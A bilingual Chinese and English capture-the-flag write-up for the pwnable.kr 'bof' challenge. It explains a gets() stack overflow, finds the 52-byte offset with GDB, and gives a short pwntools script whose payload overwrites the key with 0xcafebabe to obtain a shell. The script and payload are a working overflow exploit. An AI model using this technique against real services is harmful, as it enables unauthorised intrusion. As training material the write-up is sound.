本文记录了 pwnable.kr 中 bof 题目的解题过程。核心漏洞在于程序使用了不安全的 gets() 函数且未做长度校验,导致经典的栈溢出漏洞 。通过使用 GDB 进行动态调试,计算出用户输入缓冲区的起始地址与目标变量 key 的内存地址之间的偏移量为 52 个字节。最终,利用 Python 的 pwntools 库编写 EXP,向远程端口发送构造好的 Payload(52 字节的无用字符填充 + 目标值 0xcafebabe),成功覆盖关键变量并获取了交互式 Shell。 This article documents the solution process for the bof challenge on pwnable.kr. The core vulnerability lies in the program's use of the unsafe gets() function without length validation, leading to a classic stack overflow. By using GDB for dynamic debugging, the offset between the start address of the user input buffer and the memory address of the target variable 'key' was calculated to be 52 bytes. Finally, using the pwntools library in Python, an EXP was written to send a crafted Payload (52 bytes of useless character padding + the target value 0xcafebabe) to the remote port, successfully overwriting the key variable and obtaining an interactive Shell.
Bof
ssh bof@pwnable.kr -p2222 (pw: guest)
三个文件:readme,bof.c,bof

根据代码得出这是一个栈溢出漏洞。主要是因为gets()参数,传入的数据不检查长度。
题目不难,主要是要将0xcafebabe值添加到key参数。
根据readme,可知要查看文件需要连接到nc 0 9000,然后输入key值。
使用gdb调试(难点)
我们要查看的参数位置在func函数中,所以我们要打一个断点
b func (在func()暂停)
gdb bof (调试文件bof)
start,run(开始调试)
n (下一行)

左边箭头指的是当前要运行的参数位置,右边是当前运行的函数。

当我们运行到这个gets函数时再下一行,就会要求我们输入,输入后,可以使用stack 30 展开当前得三十行位置

可以看到我们输入的值在0xffffd4fc,而目标值在0xffffd530
我们可以计算他们的值为52字节
所以当gets()参数激活时,我们应该输入b’A’ * 52 + p32(0xcafebabe)
但是我们要连接到nc 0 9000,所以使用pwn

from pwn import *
# 连接目标
p = remote('0',9000)
# 构造payload
payload = b'A' * 52 + p32(0xcafebabe)
# 发送payload
p.sendline(payload)
# 获得交互式
p.interactive()Bof
ssh bof@pwnable.kr -p2222 (pw: guest)
Three files: readme, bof.c, bof

From the code, this is a stack overflow vulnerability. Mainly because the gets() function parameter does not check the length of the input data.
The challenge is not difficult; the main goal is to add the value 0xcafebabe to the key parameter.
According to readme, to view the file you need to connect to nc 0 9000, then input the key value.
Using gdb for debugging (difficulty)
The parameter we need to check is in the func function, so we need to set a breakpoint
b func (pause at func())
gdb bof (debug file bof)
start, run (start debugging)
n (next line)

The left arrow indicates the current parameter location to be executed, the right side shows the currently running function.

When we run to the gets function and step to the next line, it will ask for input. After entering, use `stack 30` to display the current thirty lines.

We can see our input value is at 0xffffd4fc, while the target value is at 0xffffd530.
We can calculate the difference as 52 bytes.
So when the gets() parameter is activated, we should input b'A' * 52 + p32(0xcafebabe)
But we need to connect to nc 0 9000, so we use pwn

from pwn import *
# Connect to target
p = remote('0',9000)
# Construct payload
payload = b'A' * 52 + p32(0xcafebabe)
# Send payload
p.sendline(payload)
# Get interactive shell
p.interactive()